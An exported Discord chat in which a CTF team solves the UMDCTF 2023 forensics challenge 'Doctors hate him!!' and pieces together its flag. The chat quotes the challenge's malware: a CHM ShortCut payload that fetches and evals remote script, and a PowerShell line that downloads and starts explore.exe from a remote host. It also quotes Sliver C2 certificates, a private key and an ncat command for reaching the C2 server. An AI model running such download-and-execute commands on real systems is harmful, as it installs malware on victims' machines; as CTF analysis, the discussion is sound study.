Guild icon
Project Sekai
🔒 UMDCTF 2023 / ✅-forensics-doctors-hate-him
Avatar
Doctors hate him!! - 500 points
Category: Forensics Description: Someone sent me this in an email... ad targeting is hitting a little too close here smh... Author: birch Files:Tags: No tags.
Sutx pinned a message to this channel. 04/29/2023 4:11 PM
Avatar
has malware
sahuang pinned a message to this channel. 04/29/2023 4:13 PM
Avatar
@Legoclones wants to collaborate 🤝
Avatar
@Violin wants to collaborate 🤝
Avatar
@afterworld wants to collaborate 🤝
Avatar
UMDCTF{1997_called_
Avatar
isnt the chall down?
18:37
they are fixing attachment
Avatar
o ok makes so much sense lmao
Avatar
cuz theres no malware
18:38
<PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',cmd.exe
18:38
they forgot to add second half lmfao
18:38
<PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',cmd.exe,/c copy /Y C:\Windows\system32\rundll32.exe %TEMP%\out.exe > nul && %TEMP%\out.exe javascript:"\..\mshtml RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8000/test.vbs",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im out.exe",0,true);}'> <PARAM name="Item2" value="273,1,1">
18:38
should be some shit like this
Avatar
@TheBadGod wants to collaborate 🤝
Avatar
Invoke-WebRequest -Uri http://dns-server.online:6969/explore.exe -OutFile explore.exe; Start-Process explore.exe; ='gurl_jnag_gurve'
23:27
Hm, it looks like that file might've been a virus. Instead of cooking up trouble, try cooking up a Slow-Cooked Pulled Pork Sliders: https://www.foodnetwork.com/recipes/food-network-kitchens/slow-cooker-pulled-pork-sandwiches-recipe.html
Avatar
discord moment
Avatar
well you have the url
23:28
download my super cool virus: http://dns-server.online:6969/explore.exe
23:28
thanks discord
Avatar
Avatar
afterworld
UMDCTF{1997_called_
and yeah this is inside again too
23:31
go binary has a bunch of obfuscated strings
Avatar
uuuh
Avatar
mtls://dns-server.online:8888
Avatar
b'-----BEGIN CERTIFICATE-----\nMIIBXzCCAQSgAwIBAgIQH9x7feWfbEF7t/GcIcdShzAKBggqhkjOPQQDAjAAMB4X\nDTIzMDEzMTIwMjkzN1oXDTI1MDEzMDIwMjkzN1owGDEWMBQGA1UEAwwNQ09NSU5H\nX0hBVFJFRDBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABDMi/PM0fOIHxa280PLE\neD/zlfQDYOl3AXeKoHsxFezozFBHmL88pJvTzFw081aFvshtAIPqP4ZItwJNgB1V\nZNajSDBGMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDAjAfBgNV\nHSMEGDAWgBT7ysU8Eb0RsVSGoiZkRkAIOpM0RTAKBggqhkjOPQQDAgNJADBGAiEA\n2HcBjemOfXyJ5IJiIc9baUc9vwgFrbWbrs9YpZWniGACIQCzv6z9lBX7QLIdJBWu\nOzRDbbC+G2q7/QWzv1QkqDW+Qg==\n-----END CERTIFICATE-----\n'
Avatar
ca cert:
b'-----BEGIN CERTIFICATE-----\nMIIBcDCCARWgAwIBAgIQaRLyNwPkM1kYCyy1TCg9XDAKBggqhkjOPQQDAjAAMB4X\nDTIzMDQwNjIwMDkxMFoXDTI1MDQwNTIwMDkxMFowADBZMBMGByqGSM49AgEGCCqG\nSM49AwEHA0IABP9NZgJAEXF2+caqhLdUI2QE+Lz4JjHDM+WCAsYwwUEe1JSd3FDB\nPo1c76+Jkew/aZmeQin4KnlmHa2mP1E/RlujcTBvMA4GA1UdDwEB/wQEAwICpDAd\nBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDwYDVR0TAQH/BAUwAwEB/zAd\nBgNVHQ4EFgQUqCIGoaQq7EgLj7N1BoN9Jtj/TecwDgYDVR0RAQH/BAQwAoIAMAoG\nCCqGSM49BAMCA0kAMEYCIQCvyV7B6msvVJKQm9WJQAGBlrTOmpZlmEba3IWnSIqa\nxQIhAIhwur6UysB4vHEZD3j0etQSeN+W2c99DIGXfyPnlV3f\n-----END CERTIFICATE-----\n'
Avatar
b'-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIAbbnT+PnFckLFhmUs0Gxlg4IBaaX1F/ImCKW3eyDi78oAoGCCqGSM49\nAwEHoUQDQgAEMyL88zR84gfFrbzQ8sR4P/OV9ANg6XcBd4qgezEV7OjMUEeYvzyk\nm9PMXDTzVoW+yG0Ag+o/hki3Ak2AHVVk1g==\n-----END EC PRIVATE KEY-----\n'
01:45
538 bytes
558 bytes
227 bytes
01:46
now what
02:00
well
02:00
unfortunate
Avatar
wut, chal down?
Avatar
seems like it
02:04
02:04
unless the flag is hidden somewhere else
Avatar
ah ok
Avatar
also it might be that I crashed it
02:04
whatd you do
Avatar
made an http request to the sliver server
Avatar
Avatar
TheBadGod
Click to see attachment 🖼️
but yeah using ncat and these certs we should be able to just open a normal tcp connection
02:05
and then idk? get flag? somehow? maybe?
Avatar
first solver did it in 20min after new file is up, kinda unsure if they just found this endpoint or its somewhere else
Avatar
probably just ran the file in a sandbox?
Avatar
ah could be
Avatar
Avatar
TheBadGod
but yeah using ncat and these certs we should be able to just open a normal tcp connection
command should look something like this ncat --ssl --ssl-cert client.crt --ssl-key client.key --ssl-trustfile server.crt dns-server.online 8888 (edited)
Avatar
@deuterium wants to collaborate 🤝
02:22
@deuterium left you alone, what a chicken! 🐥
Avatar
chal seems back?
Avatar
mmmh, still getting connection refused, so might be hidden in the binary?
Avatar
@crazyman ai wants to collaborate 🤝
Avatar
crazyman ai 04/30/2023 6:21 AM
i try to scan memory but nothing
06:21
striped golang
06:21
........
06:21
i hate it
Avatar
Avatar
TheBadGod
Click to see attachment 🖼️
private client keys (edited)
Avatar
Avatar
TheBadGod
mtls://dns-server.online:8888
uses mtls
06:22
but server is down rn, but other teams solve it, so probably hidden somewhere else (Or i got banned from the server for connecting once)
Avatar
Invoke-WebRequest -Uri http://dns-server.online:6969/explore.exe -OutFile explore.exe; Start-Process explore.exe; ='gurl_jnag_gurve'
06:45
imports r stripped in binary (edited)
Avatar
yes, that's the binary I analyzed and got the keys from
06:47
author just replied to my ticket that everything's working, and that I should not overthink it
Avatar
ah
Avatar
Subject: CN = COMING_HATRED
06:49
that looks weird
Avatar
Avatar
TheBadGod
Subject: CN = COMING_HATRED
wheres this?
Avatar
in the client.crt (a.crt) I sent
Avatar
yeah hm
06:57
what is this string, anything significant
06:57
gurl_jnag_gurve
Avatar
they_want_their
06:57
rot13
Avatar
2nd part of the flag?
Avatar
seems like it
06:59
UMDCTF{1997_called_they_want_their
Avatar
So just looking for end?
Avatar
probably ..._back}?
Avatar
Yeah
Avatar
so we need a _ starting str (edited)
07:02
u think theres stego in that pokemon image?
Avatar
Anything hidden in certs?
Avatar
Avatar
TheBadGod
Subject: CN = COMING_HATRED
this
07:03
the CN of the client cert
07:03
but does not make sense
Avatar
Hmm
Avatar
U2xpdmVyIHJlYWxseSBkb2VzIHNvdW5kIGxpa2UgYSBwb2tlbW9uLi4uIGFueXdheXMgcGV3IHBldyEgUGFydCAzOiBfbWFsd2FyZV9iYWNrX2Jvem99
07:08
_malware_back_bozo
Avatar
NICE
07:08
where
Avatar
Avatar
TheBadGod
used /ctf solve
✅ Challenge solved.
07:08
has directory listing
07:09
so the whole go binary was just a red herring
Avatar
bruh lmfao
07:09
thats stupid
07:10
ok nice at least 2nd place aint trailing us by 1 pt anymore
Avatar
Dang nice catch
07:10
I guess it is technically forensics \o/
Avatar
bruh
Avatar
crazyman ai 04/30/2023 7:32 AM
XD
07:32
i don't think it's an forensics XD
07:32
lol
07:36
oh
07:36
file traversal I really did not consider
Exported 115 message(s)